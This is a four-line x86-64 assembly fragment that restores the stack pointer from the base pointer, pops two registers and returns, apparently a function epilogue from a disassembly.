lea rsp, [rbp + 0x278]
pop rdi
pop rbp
ret